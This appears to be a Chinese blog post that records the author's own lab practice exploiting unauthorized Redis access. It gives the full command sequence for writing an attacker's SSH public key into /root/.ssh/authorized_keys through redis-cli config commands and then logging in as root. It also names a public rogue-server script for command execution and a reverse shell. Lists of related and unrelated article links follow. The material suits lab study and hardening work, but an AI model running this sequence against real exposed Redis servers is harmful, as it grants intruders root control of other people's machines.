从redis未授权访问到获取服务器权限
从redis未授权访问到获取服务器权限
好久没写博客了,博客园快荒芜了。赶紧再写一篇,算是一个关于自己学习的简要的记录把。
这里是关于redis未授权访问漏洞的一篇漏洞利用:
首先是redis,靶场搭建:
先是搭建ubuntu靶机,可参考这一篇文章:
https://zhuanlan.zhihu.com/p/141033713
全部安装好了之后,安装redis服务,这中间会有很多工具需要自行安装,比如gcc,比如make,按照提示要求自行安装就行了,ubuntu安装还是要比其他linux简单的。
安装redis服务:
安装redis服务也不需要重复造轮子了。这位大佬已经写的非常清楚了,参照:
https://www.cnblogs.com/bmjoker/p/9548962.html
安装好了之后:
redis-server /etc/redis.conf 启动redis服务。注意,一定要用root用户启动。
启动之后,这个redis未授权访问靶机就算搭建完成了。
漏洞利用:
如果redis是以root的身份运行,且还是以未授权的方式暴露在公网上,那么攻击者就可以通过redis给root账户写入ssh公钥文件,然后通过自己的私钥连接redis服务器,以root用户身份直接登录服务器。
下面是漏洞利用过程:
首先本地生成一对公私钥,使用命令:
ssh-keygen -t rsa
于是乎,就会在你的服务器上的.ssh文件夹下生成2个文件,如下:一个公钥,一个私钥:

将生成的公钥的内容前后添加3个\n,即3个回车,保存到一个txt文件中。

然后将该txt中的内容写入redis:
cat test.txt | redis-cli -h 192.168.145.135 -x set ok
登录redis服务器:
redis-cli -h 192.168.145.135
config get dir命令可以得到redis的备份路径
更改redis备份路径为ssh公钥存放目录,即/root/.ssh:
config set dir /root/.ssh
然后设置上传公钥的备份文件名字为authorized_keys:
config set dbfilename authorized_keys
然后
save
这时,就可以通过ssh -i id_rsa root@192.168.145.135以私钥的方式远程连接redis服务器了。
上述的漏洞利用方法是必须要求redis服务的运行权限是root权限的,所以比较苛刻。其实,非root用户的redis4.x-5.x版本的redis服务有直接的命令执行漏洞,可以直接那来使用:
使用脚本:
https://github.com/vulhub/redis-rogue-getshell

使用该脚本即可直接在redis服务器上执行命令,进而反弹shell。
从redis未授权访问到获取服务器权限的更多相关文章
- Redis未授权访问缺陷让服务器沦为肉鸡
朋友的一个项目说接到阿里云的告警,提示服务器已沦为肉鸡,网络带宽被大量占用,网站访问很慢,通过SSH远程管理服务器还频繁断开链接.朋友不知如何下手,便邀请我帮忙处理. 阿里云的安全告警邮件内容: 在没 ...
- Redis未授权访问写Webshell和公私钥认证获取root权限
0x01 什么是Redis未授权访问漏洞 Redis 默认情况下,会绑定在 0.0.0.0:,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服 ...
- [ Redis ] Redis 未授权访问漏洞被利用,服务器登陆不上
一.缘由: 突然有一天某台服务器远程登陆不上,试了好几个人的账号都行,顿时慌了,感觉服务器被黑.在终于找到一个还在登陆状态的同事后,经查看/ect/passwd 和/etc/passwd-异常,文件中 ...
- 修补--Redis未授权访问漏洞
--------------------------------阿里云解决方案----------------------------------- 一.漏洞描述 Redis因配置不当可以导致未授权访 ...
- Redis未授权访问
最近在做校招题目的时候发现有问到未授权访问,特此搭建了诸多未授权访问的环境并且一一复现并做简单总结.再次记录下来 环境介绍 0x00环境搭建 我这里用到的是Microsoft(R) Windows(R ...
- Redis 未授权访问漏洞(附Python脚本)
0x01 环境搭建 #下载并安装 cd /tmp wget http://download.redis.io/releases/redis-2.8.17.tar.gz tar xzf redis-.t ...
- redis未授权访问getshell
redis未授权访问的问题一年前就爆了,当时刚开始学安全,还不太懂.今天借着工作的机会来搞一把,看看能不能拿下一台服务器.其实前几天就写好了一直想找个实际环境复现一下,一直没有找到,只说下大致思路. ...
- 10.Redis未授权访问漏洞复现与利用
一.漏洞简介以及危害: 1.什么是redis未授权访问漏洞: Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等 ...
- Redis未授权访问利用
转载:https://www.cnblogs.com/-qing-/p/10978912.html 0x01 kali安装redis 下载 wget http://download.redis.io/ ...
- Redis未授权访问漏洞复现及修复方案
首先,第一个复现Redis未授权访问这个漏洞是有原因的,在 2019-07-24 的某一天,我同学的服务器突然特别卡,卡到连不上的那种,通过 top,free,netstat 等命令查看后发现,CPU ...
随机推荐
- JavaWeb之day03js
目录: 1.js的String对象(****) 2.js的Array对象 (****) 3.js的Date对象 (****) * 获取当前的月 0-11,想要得到准确的月 +1 * 获取星期时候,星期 ...
- 2023-04-01:当Go语言遇见FFmpeg视频解码器,使用Go语言改写decode_video.c文件,提升视频解码效率与开发体验。
2023-04-01:当Go语言遇见FFmpeg视频解码器,使用Go语言改写decode_video.c文件,提升视频解码效率与开发体验. 答案2023-04-01: 步骤如下: 1.导入必要的依赖库 ...
- Selenium - 浏览器配置(3) - 沙盒模式/不打开浏览器运行
Selenium - 浏览器配置 沙盒模式 需要在Linux环境中运行,但不需要打开浏览器进行UI测试,可以加载selenium的无痕模式: 如果使用沙盒模式运行selenium,则部分seleniu ...
- 都说 C++ 没有 GC,RAII: 那么我算个啥?(赠书福利)
*以下内容为本人的学习笔记,如需要转载,请声明原文链接微信公众号「ENG八戒」https://mp.weixin.qq.com/s/7A9-tGZxf4w_7eZl3OUQ4A 学过 Java.C# ...
- 浅谈 OI 中各种合并操作
前言 合并操作一直是 OI 中一大考点,今天请各位跟着笔者来梳理一下各种合并操作. 启发式合并 几乎可以说是最经典的合并了. 假定我们可以在 \(O(k)\) 的时间内往某个集合中插入一个数,那么我们 ...
- XTTS测试遇到问题:ORA-20001、ORA-06512
现场测试工程师在半夜电话反馈:在新建的小测试库做XTTS流程验证,遇到错误: ERROR at line 1: ORA-20001: TABLESPACE(S) IS READONLY OR, OFF ...
- 在树莓派上实现numpy的LSTM长短期记忆神经网络做图像分类,加载pytorch的模型参数,推理mnist手写数字识别
这几天又在玩树莓派,先是搞了个物联网,又在尝试在树莓派上搞一些简单的神经网络,这次搞得是LSTM识别mnist手写数字识别 训练代码在电脑上,cpu就能训练,很快的: import torch imp ...
- 在 Linux 上给用户赋予指定目录的读写权限
在 Linux 上指定目录的读写权限赋予用户,有两种方法可以实现这个目标:第一种是使用 ACL (访问控制列表),第二种是创建用户组来管理文件权限,下面会一一介绍.为了完成这个教程,我们将使用以下设置 ...
- Python爬虫————泉州二手房数据爬取和数据可视化
1.选题的背景 我本次的主题是泉州二手房房价的调查分析. 首先通过爬虫采集链家网上所有二手房的房源数据,并对采集到的数据进行清洗:然后,对清洗后的数据进行可视化分析,探索隐藏在大量数据背后的规律:将这 ...
- Apache Hudi 元数据字段揭秘
介绍 Apache Hudi 最初由Uber于 2016 年开发,旨在实现一个交易型数据湖,该数据湖可以快速可靠地支持更新,以支持公司拼车平台的大规模增长. Apache Hudi 现在被业内许多人广 ...